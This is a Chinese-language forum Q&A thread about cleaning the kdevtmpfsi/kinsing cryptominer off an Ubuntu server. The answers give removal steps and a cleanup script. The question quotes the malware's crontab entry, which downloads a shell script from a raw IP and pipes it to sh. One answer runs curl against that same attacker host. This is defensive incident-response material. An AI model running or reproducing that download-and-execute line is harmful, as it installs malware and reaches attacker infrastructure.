我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染了,我已经采取了几个步骤来解决这个问题,比如:https://github.com/docker-library/redis/issues/217。
但是当带有 redis 的 docker 容器运行时,它仍然会一次又一次地出现。
但还有一件事我无法做到,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
查看所有用户的 crontab 时,这是我的输出:
no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis
crontab 中有一个用于wget
下载sh
脚本的可疑作业,我找不到如何删除它,而且我不确定当我使用 redis 打开 docker 容器时它是否会再次出现。
看上面的图片,运行该病毒的“用户”是用户“999”,我不知道这是怎么可能的,因为这个用户不存在。
我该怎么做才能解决这个问题?
答案1
做一个
chmod 000 /tmp/kdevtmpfsi
首先。这将终止对该文件的访问
如果可能的话,如果该用户不是您的用户,请从用户提示符处进行操作:
sudo -u fabio
crontab -l
否则你只需要这两行中的最后一行。如果它在那里
crontab -e
编辑并删除该行。如果没有,crontabs 存储在 中/var/spool/cron/crontabs/
。那里会有一个fabio
。删除所有内容。
而且它不是病毒。它是一种矿工,可能是您自己安装的,或作为某些软件的一部分安装的。如果不是,请考虑您的服务器已受到攻击,请格式化磁盘并恢复备份。如果您这样做,请坚持使用常规和可信赖的来源。
编辑:发现了更多有关此内容的信息。
也与此相关:
/tmp/zzz
这似乎是引导文件。在确认您杀死了它或它自己杀死了它之后,也对它进行 chmod 并对其进行核查。
chmod 删除权限,因此矿工无法重新创建文件,也无法写入或读取文件。有效地杀死它。然后开始寻找文件。核查 /tmp/* /var/tmp/*kinsing
中带有 的任何内容以及上面列出的文件。
尝试在一个命令中执行删除,这样它就没有机会初始化自身。
有趣的github 上有关如何删除它的主题。
已记录在这里。众所周知,除非您自己设置了适当的保护措施,否则 Redis 很容易受到黑客攻击。
答案2
我的服务器通过 postgres 感染了此比特币木马。就我而言,没有容器。上述所有解释都相符,但很明显脚本得到了改进,使得检测和杀灭更加困难。主要变化是 kdevtmpfsi 文件立即重命名为随机的 8 个字符字符串,kinsing 文件会在几秒钟内出现和消失。在我避免文件重命名后,kdevtmpfsi 出现了顶级进程。在我将权限更改为 000 并将大小更改为 0 后,有人(不是病毒)更改了文件名。此外,我确实删除了 crontab 条目,但它在 1 天后又回来了。
今天当我再次登录时,发现我删除的文件不见了,但有符号链接,这显然是有人手动干预,不知何故获得了 root 访问权限。所以我重复了这个过程并sudo
再次更改了所有密码,但似乎文件并没有消失。我仍然看到反复尝试 ssh root,但没有成功。
对于那些好奇的人来说,这里有一些我用来追踪和禁用这个比特币木马的命令:
$ netstat -a -t|grep 'ssh'
$ ls -l /var /var/tmp|grep 'postgres'
$ sudo ps -u postgres|grep 'kdevtmpfsi'>ps.txt
$ echo -n "sudo kill -9 ">./tmp.sh
$ sudo cat psid.txt>>./tmp.sh
$ set +x tmp.sh
$ sudo rm /tmp/kdevtmpfsi
$ sudo crontab -u postgres -l
$ sudo crontab -u postgres -r
$ sudo curl http://195.3.146.118/pg.sh
$ sudo kill -9 ..
答案3
在某些情况下,这可能是由于在 Laravel 包(facade/ignition)<= v8.4.2 中发现安全漏洞造成的。 CVE-2021-3129
这里有一篇文章解释了该恶意软件的工作原理:Laravel <= v8.4.2 调试模式:远程代码执行(CVE-2021-3129)
如果我处于你的位置,我会认为你的实例已受到攻击并创建一个新的实例。在我进行的测试中,恶意软件会改变位置并适应对系统所做的更改,以试图阻止它。
答案4
Kdevtmpfsi 是一种加密挖掘病毒。请每隔 1 分钟在 crond 服务中运行以下脚本,或者您可以根据您的服务器选择时间间隔。
#!/bin/bash
report=/var/log/incident.log
if [ -f "$report" ]
then
echo
else
touch $report
fi
chattr +i /tmp/kdevtmpfsi
fixing () {
rm -rfv /tmp/kdevtmpfsi*
touch /tmp/kdevtmpfsi
rm -rfv /tmp/cron*
kill -9 $((ps -aux | grep -i 'kdevtmpfsi\|kinsing') 2>/dev/null |grep -v grep |awk '{print $2}')
cat /var/spool/cron/zimbra |grep -i unk.sh && rm -rfv /var/spool/cron/zimbra
kin=$(ls /opt/zimbra/log/ |grep -i kinsing) && rm -rfv /opt/zimbra/log/${kin}
}
log () {
echo "$(date) by user:$(whoami) executed:<$0> virus:kdevtmpfsi action:>killed Pattern:spoofing Target:<CPU> host:$(hostname):<$(curl -s ident.me)>" >> $report
}
fixing
log
注意:此脚本的运行日志将保存在/var/log/incident.log中